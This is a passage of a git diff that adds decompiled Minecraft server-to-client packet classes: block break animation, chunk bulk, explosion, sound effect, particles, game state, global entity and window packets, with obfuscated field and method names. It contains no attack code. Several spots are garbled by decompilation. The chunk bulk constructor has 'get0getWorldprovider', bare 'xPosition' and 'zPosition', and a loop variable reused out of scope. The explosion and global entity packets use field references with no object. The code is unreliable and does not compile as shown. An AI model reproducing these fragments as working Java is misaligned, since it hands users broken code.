+    data.writeBlockPos(field_179826_a);
+    data.writeByte(field_148872_d);
+    data.writeByte(field_148873_e);
+    data.writeVarIntToBuffer(Block.getIdFromBlock(field_148871_f) & 0xFFF);
+  }
+  
+  public void func_180726_a(INetHandlerPlayClient p_180726_1_)
+  {
+    p_180726_1_.handleBlockAction(this);
+  }
+  
+  public BlockPos func_179825_a()
+  {
+    return field_179826_a;
+  }
+  
+
+
+
+  public int getData1()
+  {
+    return field_148872_d;
+  }
+  
+
+
+
+  public int getData2()
+  {
+    return field_148873_e;
+  }
+  
+  public Block getBlockType()
+  {
+    return field_148871_f;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180726_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S25PacketBlockBreakAnim.java b/src/minecraft/net/minecraft/network/play/server/S25PacketBlockBreakAnim.java
new file mode 100644
index 0000000..e5a4236
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S25PacketBlockBreakAnim.java
@@ -0,0 +1,73 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+public class S25PacketBlockBreakAnim implements Packet
+{
+  private int breakerId;
+  private BlockPos position;
+  private int progress;
+  private static final String __OBFID = "CL_00001284";
+  
+  public S25PacketBlockBreakAnim() {}
+  
+  public S25PacketBlockBreakAnim(int breakerId, BlockPos pos, int progress)
+  {
+    this.breakerId = breakerId;
+    position = pos;
+    this.progress = progress;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    breakerId = data.readVarIntFromBuffer();
+    position = data.readBlockPos();
+    progress = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(breakerId);
+    data.writeBlockPos(position);
+    data.writeByte(progress);
+  }
+  
+  public void handle(INetHandlerPlayClient handler)
+  {
+    handler.handleBlockBreakAnim(this);
+  }
+  
+  public int func_148845_c()
+  {
+    return breakerId;
+  }
+  
+  public BlockPos func_179821_b()
+  {
+    return position;
+  }
+  
+  public int func_148846_g()
+  {
+    return progress;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    handle((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S26PacketMapChunkBulk.java b/src/minecraft/net/minecraft/network/play/server/S26PacketMapChunkBulk.java
new file mode 100644
index 0000000..29e3724
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S26PacketMapChunkBulk.java
@@ -0,0 +1,125 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.Chunk;
+
+public class S26PacketMapChunkBulk implements net.minecraft.network.Packet
+{
+  private int[] field_149266_a;
+  private int[] field_149264_b;
+  private S21PacketChunkData.Extracted[] field_179755_c;
+  private boolean field_149267_h;
+  private static final String __OBFID = "CL_00001306";
+  
+  public S26PacketMapChunkBulk() {}
+  
+  public S26PacketMapChunkBulk(List p_i45197_1_)
+  {
+    int var2 = p_i45197_1_.size();
+    field_149266_a = new int[var2];
+    field_149264_b = new int[var2];
+    field_179755_c = new S21PacketChunkData.Extracted[var2];
+    field_149267_h = (!get0getWorldprovider.getHasNoSky());
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      Chunk var4 = (Chunk)p_i45197_1_.get(var3);
+      S21PacketChunkData.Extracted var5 = S21PacketChunkData.func_179756_a(var4, true, field_149267_h, 65535);
+      field_149266_a[var3] = xPosition;
+      field_149264_b[var3] = zPosition;
+      field_179755_c[var3] = var5;
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149267_h = data.readBoolean();
+    int var2 = data.readVarIntFromBuffer();
+    field_149266_a = new int[var2];
+    field_149264_b = new int[var2];
+    field_179755_c = new S21PacketChunkData.Extracted[var2];
+    
+
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      field_149266_a[var3] = data.readInt();
+      field_149264_b[var3] = data.readInt();
+      field_179755_c[var3] = new S21PacketChunkData.Extracted();
+      field_179755_c[var3].field_150280_b = (data.readShort() & 0xFFFF);
+      field_179755_c[var3].field_150282_a = new byte[S21PacketChunkData.func_180737_a(Integer.bitCount(field_179755_c[var3].field_150280_b), field_149267_h, true)];
+    }
+    
+    for (var3 = 0; var3 < var2; var3++)
+    {
+      data.readBytes(field_179755_c[var3].field_150282_a);
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBoolean(field_149267_h);
+    data.writeVarIntToBuffer(field_179755_c.length);
+    
+
+    for (int var2 = 0; var2 < field_149266_a.length; var2++)
+    {
+      data.writeInt(field_149266_a[var2]);
+      data.writeInt(field_149264_b[var2]);
+      data.writeShort((short)(field_179755_c[var2].field_150280_b & 0xFFFF));
+    }
+    
+    for (var2 = 0; var2 < field_149266_a.length; var2++)
+    {
+      data.writeBytes(field_179755_c[var2].field_150282_a);
+    }
+  }
+  
+  public void func_180738_a(INetHandlerPlayClient p_180738_1_)
+  {
+    p_180738_1_.handleMapChunkBulk(this);
+  }
+  
+  public int func_149255_a(int p_149255_1_)
+  {
+    return field_149266_a[p_149255_1_];
+  }
+  
+  public int func_149253_b(int p_149253_1_)
+  {
+    return field_149264_b[p_149253_1_];
+  }
+  
+  public int func_149254_d()
+  {
+    return field_149266_a.length;
+  }
+  
+  public byte[] func_149256_c(int p_149256_1_)
+  {
+    return field_179755_c[p_149256_1_].field_150282_a;
+  }
+  
+  public int func_179754_d(int p_179754_1_)
+  {
+    return field_179755_c[p_179754_1_].field_150280_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180738_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S27PacketExplosion.java b/src/minecraft/net/minecraft/network/play/server/S27PacketExplosion.java
new file mode 100644
index 0000000..41cc7b8
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S27PacketExplosion.java
@@ -0,0 +1,158 @@
+package net.minecraft.network.play.server;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.Vec3;
+
+public class S27PacketExplosion implements Packet
+{
+  private double field_149158_a;
+  private double field_149156_b;
+  private double field_149157_c;
+  private float field_149154_d;
+  private List field_149155_e;
+  private float field_149152_f;
+  private float field_149153_g;
+  private float field_149159_h;
+  private static final String __OBFID = "CL_00001300";
+  
+  public S27PacketExplosion() {}
+  
+  public S27PacketExplosion(double p_i45193_1_, double p_i45193_3_, double p_i45193_5_, float p_i45193_7_, List p_i45193_8_, Vec3 p_i45193_9_)
+  {
+    field_149158_a = p_i45193_1_;
+    field_149156_b = p_i45193_3_;
+    field_149157_c = p_i45193_5_;
+    field_149154_d = p_i45193_7_;
+    field_149155_e = Lists.newArrayList(p_i45193_8_);
+    
+    if (p_i45193_9_ != null)
+    {
+      field_149152_f = ((float)xCoord);
+      field_149153_g = ((float)yCoord);
+      field_149159_h = ((float)zCoord);
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149158_a = data.readFloat();
+    field_149156_b = data.readFloat();
+    field_149157_c = data.readFloat();
+    field_149154_d = data.readFloat();
+    int var2 = data.readInt();
+    field_149155_e = Lists.newArrayListWithCapacity(var2);
+    int var3 = (int)field_149158_a;
+    int var4 = (int)field_149156_b;
+    int var5 = (int)field_149157_c;
+    
+    for (int var6 = 0; var6 < var2; var6++)
+    {
+      int var7 = data.readByte() + var3;
+      int var8 = data.readByte() + var4;
+      int var9 = data.readByte() + var5;
+      field_149155_e.add(new BlockPos(var7, var8, var9));
+    }
+    
+    field_149152_f = data.readFloat();
+    field_149153_g = data.readFloat();
+    field_149159_h = data.readFloat();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeFloat((float)field_149158_a);
+    data.writeFloat((float)field_149156_b);
+    data.writeFloat((float)field_149157_c);
+    data.writeFloat(field_149154_d);
+    data.writeInt(field_149155_e.size());
+    int var2 = (int)field_149158_a;
+    int var3 = (int)field_149156_b;
+    int var4 = (int)field_149157_c;
+    Iterator var5 = field_149155_e.iterator();
+    
+    while (var5.hasNext())
+    {
+      BlockPos var6 = (BlockPos)var5.next();
+      int var7 = var6.getX() - var2;
+      int var8 = var6.getY() - var3;
+      int var9 = var6.getZ() - var4;
+      data.writeByte(var7);
+      data.writeByte(var8);
+      data.writeByte(var9);
+    }
+    
+    data.writeFloat(field_149152_f);
+    data.writeFloat(field_149153_g);
+    data.writeFloat(field_149159_h);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleExplosion(this);
+  }
+  
+  public float func_149149_c()
+  {
+    return field_149152_f;
+  }
+  
+  public float func_149144_d()
+  {
+    return field_149153_g;
+  }
+  
+  public float func_149147_e()
+  {
+    return field_149159_h;
+  }
+  
+  public double func_149148_f()
+  {
+    return field_149158_a;
+  }
+  
+  public double func_149143_g()
+  {
+    return field_149156_b;
+  }
+  
+  public double func_149145_h()
+  {
+    return field_149157_c;
+  }
+  
+  public float func_149146_i()
+  {
+    return field_149154_d;
+  }
+  
+  public List func_149150_j()
+  {
+    return field_149155_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S28PacketEffect.java b/src/minecraft/net/minecraft/network/play/server/S28PacketEffect.java
new file mode 100644
index 0000000..61abcb5
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S28PacketEffect.java
@@ -0,0 +1,86 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+
+
+
+public class S28PacketEffect
+  implements Packet
+{
+  private int soundType;
+  private BlockPos field_179747_b;
+  private int soundData;
+  private boolean serverWide;
+  private static final String __OBFID = "CL_00001307";
+  
+  public S28PacketEffect() {}
+  
+  public S28PacketEffect(int p_i45978_1_, BlockPos p_i45978_2_, int p_i45978_3_, boolean p_i45978_4_)
+  {
+    soundType = p_i45978_1_;
+    field_179747_b = p_i45978_2_;
+    soundData = p_i45978_3_;
+    serverWide = p_i45978_4_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    soundType = data.readInt();
+    field_179747_b = data.readBlockPos();
+    soundData = data.readInt();
+    serverWide = data.readBoolean();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(soundType);
+    data.writeBlockPos(field_179747_b);
+    data.writeInt(soundData);
+    data.writeBoolean(serverWide);
+  }
+  
+  public void func_180739_a(INetHandlerPlayClient p_180739_1_)
+  {
+    p_180739_1_.handleEffect(this);
+  }
+  
+  public boolean isSoundServerwide()
+  {
+    return serverWide;
+  }
+  
+  public int getSoundType()
+  {
+    return soundType;
+  }
+  
+  public int getSoundData()
+  {
+    return soundData;
+  }
+  
+  public BlockPos func_179746_d()
+  {
+    return field_179747_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180739_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S29PacketSoundEffect.java b/src/minecraft/net/minecraft/network/play/server/S29PacketSoundEffect.java
new file mode 100644
index 0000000..866a670
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S29PacketSoundEffect.java
@@ -0,0 +1,106 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+import org.apache.commons.lang3.Validate;
+
+public class S29PacketSoundEffect implements Packet
+{
+  private String field_149219_a;
+  private int field_149217_b;
+  private int field_149218_c = Integer.MAX_VALUE;
+  private int field_149215_d;
+  private float field_149216_e;
+  private int field_149214_f;
+  private static final String __OBFID = "CL_00001309";
+  
+  public S29PacketSoundEffect() {}
+  
+  public S29PacketSoundEffect(String p_i45200_1_, double p_i45200_2_, double p_i45200_4_, double p_i45200_6_, float p_i45200_8_, float p_i45200_9_)
+  {
+    Validate.notNull(p_i45200_1_, "name", new Object[0]);
+    field_149219_a = p_i45200_1_;
+    field_149217_b = ((int)(p_i45200_2_ * 8.0D));
+    field_149218_c = ((int)(p_i45200_4_ * 8.0D));
+    field_149215_d = ((int)(p_i45200_6_ * 8.0D));
+    field_149216_e = p_i45200_8_;
+    field_149214_f = ((int)(p_i45200_9_ * 63.0F));
+    p_i45200_9_ = MathHelper.clamp_float(p_i45200_9_, 0.0F, 255.0F);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149219_a = data.readStringFromBuffer(256);
+    field_149217_b = data.readInt();
+    field_149218_c = data.readInt();
+    field_149215_d = data.readInt();
+    field_149216_e = data.readFloat();
+    field_149214_f = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(field_149219_a);
+    data.writeInt(field_149217_b);
+    data.writeInt(field_149218_c);
+    data.writeInt(field_149215_d);
+    data.writeFloat(field_149216_e);
+    data.writeByte(field_149214_f);
+  }
+  
+  public String func_149212_c()
+  {
+    return field_149219_a;
+  }
+  
+  public double func_149207_d()
+  {
+    return field_149217_b / 8.0F;
+  }
+  
+  public double func_149211_e()
+  {
+    return field_149218_c / 8.0F;
+  }
+  
+  public double func_149210_f()
+  {
+    return field_149215_d / 8.0F;
+  }
+  
+  public float func_149208_g()
+  {
+    return field_149216_e;
+  }
+  
+  public float func_149209_h()
+  {
+    return field_149214_f / 63.0F;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleSoundEffect(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2APacketParticles.java b/src/minecraft/net/minecraft/network/play/server/S2APacketParticles.java
new file mode 100644
index 0000000..acfe896
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2APacketParticles.java
@@ -0,0 +1,162 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.EnumParticleTypes;
+
+public class S2APacketParticles implements Packet
+{
+  private EnumParticleTypes field_179751_a;
+  private float field_149234_b;
+  private float field_149235_c;
+  private float field_149232_d;
+  private float field_149233_e;
+  private float field_149230_f;
+  private float field_149231_g;
+  private float field_149237_h;
+  private int field_149238_i;
+  private boolean field_179752_j;
+  private int[] field_179753_k;
+  private static final String __OBFID = "CL_00001308";
+  
+  public S2APacketParticles() {}
+  
+  public S2APacketParticles(EnumParticleTypes p_i45977_1_, boolean p_i45977_2_, float p_i45977_3_, float p_i45977_4_, float p_i45977_5_, float p_i45977_6_, float p_i45977_7_, float p_i45977_8_, float p_i45977_9_, int p_i45977_10_, int... p_i45977_11_)
+  {
+    field_179751_a = p_i45977_1_;
+    field_179752_j = p_i45977_2_;
+    field_149234_b = p_i45977_3_;
+    field_149235_c = p_i45977_4_;
+    field_149232_d = p_i45977_5_;
+    field_149233_e = p_i45977_6_;
+    field_149230_f = p_i45977_7_;
+    field_149231_g = p_i45977_8_;
+    field_149237_h = p_i45977_9_;
+    field_149238_i = p_i45977_10_;
+    field_179753_k = p_i45977_11_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179751_a = EnumParticleTypes.func_179342_a(data.readInt());
+    
+    if (field_179751_a == null)
+    {
+      field_179751_a = EnumParticleTypes.BARRIER;
+    }
+    
+    field_179752_j = data.readBoolean();
+    field_149234_b = data.readFloat();
+    field_149235_c = data.readFloat();
+    field_149232_d = data.readFloat();
+    field_149233_e = data.readFloat();
+    field_149230_f = data.readFloat();
+    field_149231_g = data.readFloat();
+    field_149237_h = data.readFloat();
+    field_149238_i = data.readInt();
+    int var2 = field_179751_a.func_179345_d();
+    field_179753_k = new int[var2];
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      field_179753_k[var3] = data.readVarIntFromBuffer();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_179751_a.func_179348_c());
+    data.writeBoolean(field_179752_j);
+    data.writeFloat(field_149234_b);
+    data.writeFloat(field_149235_c);
+    data.writeFloat(field_149232_d);
+    data.writeFloat(field_149233_e);
+    data.writeFloat(field_149230_f);
+    data.writeFloat(field_149231_g);
+    data.writeFloat(field_149237_h);
+    data.writeInt(field_149238_i);
+    int var2 = field_179751_a.func_179345_d();
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      data.writeVarIntToBuffer(field_179753_k[var3]);
+    }
+  }
+  
+  public EnumParticleTypes func_179749_a()
+  {
+    return field_179751_a;
+  }
+  
+  public boolean func_179750_b()
+  {
+    return field_179752_j;
+  }
+  
+  public double func_149220_d()
+  {
+    return field_149234_b;
+  }
+  
+  public double func_149226_e()
+  {
+    return field_149235_c;
+  }
+  
+  public double func_149225_f()
+  {
+    return field_149232_d;
+  }
+  
+  public float func_149221_g()
+  {
+    return field_149233_e;
+  }
+  
+  public float func_149224_h()
+  {
+    return field_149230_f;
+  }
+  
+  public float func_149223_i()
+  {
+    return field_149231_g;
+  }
+  
+  public float func_149227_j()
+  {
+    return field_149237_h;
+  }
+  
+  public int func_149222_k()
+  {
+    return field_149238_i;
+  }
+  
+  public int[] func_179748_k()
+  {
+    return field_179753_k;
+  }
+  
+  public void func_180740_a(INetHandlerPlayClient p_180740_1_)
+  {
+    p_180740_1_.handleParticles(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180740_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2BPacketChangeGameState.java b/src/minecraft/net/minecraft/network/play/server/S2BPacketChangeGameState.java
new file mode 100644
index 0000000..99afa2f
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2BPacketChangeGameState.java
@@ -0,0 +1,67 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S2BPacketChangeGameState implements Packet
+{
+  public static final String[] MESSAGE_NAMES = { "tile.bed.notValid" };
+  private int state;
+  private float field_149141_c;
+  private static final String __OBFID = "CL_00001301";
+  
+  public S2BPacketChangeGameState() {}
+  
+  public S2BPacketChangeGameState(int stateIn, float p_i45194_2_)
+  {
+    state = stateIn;
+    field_149141_c = p_i45194_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    state = data.readUnsignedByte();
+    field_149141_c = data.readFloat();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(state);
+    data.writeFloat(field_149141_c);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleChangeGameState(this);
+  }
+  
+  public int func_149138_c()
+  {
+    return state;
+  }
+  
+  public float func_149137_d()
+  {
+    return field_149141_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity.java b/src/minecraft/net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity.java
new file mode 100644
index 0000000..97d6720
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2CPacketSpawnGlobalEntity.java
@@ -0,0 +1,97 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S2CPacketSpawnGlobalEntity implements Packet
+{
+  private int field_149059_a;
+  private int field_149057_b;
+  private int field_149058_c;
+  private int field_149055_d;
+  private int field_149056_e;
+  private static final String __OBFID = "CL_00001278";
+  
+  public S2CPacketSpawnGlobalEntity() {}
+  
+  public S2CPacketSpawnGlobalEntity(Entity p_i45191_1_)
+  {
+    field_149059_a = p_i45191_1_.getEntityId();
+    field_149057_b = MathHelper.floor_double(posX * 32.0D);
+    field_149058_c = MathHelper.floor_double(posY * 32.0D);
+    field_149055_d = MathHelper.floor_double(posZ * 32.0D);
+    
+    if ((p_i45191_1_ instanceof EntityLightningBolt))
+    {
+      field_149056_e = 1;
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149059_a = data.readVarIntFromBuffer();
+    field_149056_e = data.readByte();
+    field_149057_b = data.readInt();
+    field_149058_c = data.readInt();
+    field_149055_d = data.readInt();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149059_a);
+    data.writeByte(field_149056_e);
+    data.writeInt(field_149057_b);
+    data.writeInt(field_149058_c);
+    data.writeInt(field_149055_d);
+  }
+  
+  public void func_180720_a(INetHandlerPlayClient p_180720_1_)
+  {
+    p_180720_1_.handleSpawnGlobalEntity(this);
+  }
+  
+  public int func_149052_c()
+  {
+    return field_149059_a;
+  }
+  
+  public int func_149051_d()
+  {
+    return field_149057_b;
+  }
+  
+  public int func_149050_e()
+  {
+    return field_149058_c;
+  }
+  
+  public int func_149049_f()
+  {
+    return field_149055_d;
+  }
+  
+  public int func_149053_g()
+  {
+    return field_149056_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180720_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2DPacketOpenWindow.java b/src/minecraft/net/minecraft/network/play/server/S2DPacketOpenWindow.java
new file mode 100644
index 0000000..27109c0
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2DPacketOpenWindow.java
@@ -0,0 +1,117 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.IChatComponent;
+
+public class S2DPacketOpenWindow implements Packet
+{
+  private int windowId;
+  private String inventoryType;
+  private IChatComponent windowTitle;
+  private int slotCount;
+  private int entityId;
+  private static final String __OBFID = "CL_00001293";
+  
+  public S2DPacketOpenWindow() {}
+  
+  public S2DPacketOpenWindow(int p_i45981_1_, String p_i45981_2_, IChatComponent p_i45981_3_)
+  {
+    this(p_i45981_1_, p_i45981_2_, p_i45981_3_, 0);
+  }
+  
+  public S2DPacketOpenWindow(int p_i45982_1_, String p_i45982_2_, IChatComponent p_i45982_3_, int p_i45982_4_)
+  {
+    windowId = p_i45982_1_;
+    inventoryType = p_i45982_2_;
+    windowTitle = p_i45982_3_;
+    slotCount = p_i45982_4_;
+  }
+  
+  public S2DPacketOpenWindow(int p_i45983_1_, String p_i45983_2_, IChatComponent p_i45983_3_, int p_i45983_4_, int p_i45983_5_)
+  {
+    this(p_i45983_1_, p_i45983_2_, p_i45983_3_, p_i45983_4_);
+    entityId = p_i45983_5_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleOpenWindow(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    windowId = data.readUnsignedByte();
+    inventoryType = data.readStringFromBuffer(32);
+    windowTitle = data.readChatComponent();
+    slotCount = data.readUnsignedByte();
+    
+    if (inventoryType.equals("EntityHorse"))
+    {
+      entityId = data.readInt();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(windowId);
+    data.writeString(inventoryType);
+    data.writeChatComponent(windowTitle);
+    data.writeByte(slotCount);
+    
+    if (inventoryType.equals("EntityHorse"))
+    {
+      data.writeInt(entityId);
+    }
+  }
+  
+  public int func_148901_c()
+  {
+    return windowId;
+  }
+  
+  public String func_148902_e()
+  {
+    return inventoryType;
+  }
+  
+  public IChatComponent func_179840_c()
+  {
+    return windowTitle;
+  }
+  
+  public int func_148898_f()
+  {
+    return slotCount;
+  }
+  
+  public int func_148897_h()
+  {
+    return entityId;
+  }
+  
+  public boolean func_148900_g()
+  {
+    return slotCount > 0;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2EPacketCloseWindow.java b/src/minecraft/net/minecraft/network/play/server/S2EPacketCloseWindow.java
new file mode 100644
index 0000000..aaafcdf
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2EPacketCloseWindow.java
@@ -0,0 +1,49 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S2EPacketCloseWindow implements Packet
+{
+  private int field_148896_a;
+  private static final String __OBFID = "CL_00001292";
+  
+  public S2EPacketCloseWindow() {}
+  
+  public S2EPacketCloseWindow(int p_i45183_1_)
+  {
+    field_148896_a = p_i45183_1_;
+  }
+  
+  public void func_180731_a(INetHandlerPlayClient p_180731_1_)
+  {
+    p_180731_1_.handleCloseWindow(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148896_a = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_148896_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180731_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S2FPacketSetSlot.java b/src/minecraft/net/minecraft/network/play/server/S2FPacketSetSlot.java
new file mode 100644
index 0000000..2e463c1
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S2FPacketSetSlot.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S2FPacketSetSlot implements Packet
+{
+  private int field_149179_a;
+  private int field_149177_b;
+  private ItemStack field_149178_c;
+  private static final String __OBFID = "CL_00001296";
+  
+  public S2FPacketSetSlot() {}
+  
+  public S2FPacketSetSlot(int p_i45188_1_, int p_i45188_2_, ItemStack p_i45188_3_)
+  {
+    field_149179_a = p_i45188_1_;
+    field_149177_b = p_i45188_2_;
+    field_149178_c = (p_i45188_3_ == null ? null : p_i45188_3_.copy());
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleSetSlot(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149179_a = data.readByte();
+    field_149177_b = data.readShort();
+    field_149178_c = data.readItemStackFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_149179_a);
+    data.writeShort(field_149177_b);
+    data.writeItemStackToBuffer(field_149178_c);
+  }
+  
+  public int func_149175_c()
+  {
+    return field_149179_a;
+  }
+  
+  public int func_149173_d()
+  {
+    return field_149177_b;
+  }
+  
+  public ItemStack func_149174_e()
+  {
+    return field_149178_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S30PacketWindowItems.java b/src/minecraft/net/minecraft/network/play/server/S30PacketWindowItems.java
new file mode 100644
index 0000000..48166ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S30PacketWindowItems.java
@@ -0,0 +1,85 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S30PacketWindowItems implements Packet
+{
+  private int field_148914_a;
+  private ItemStack[] field_148913_b;
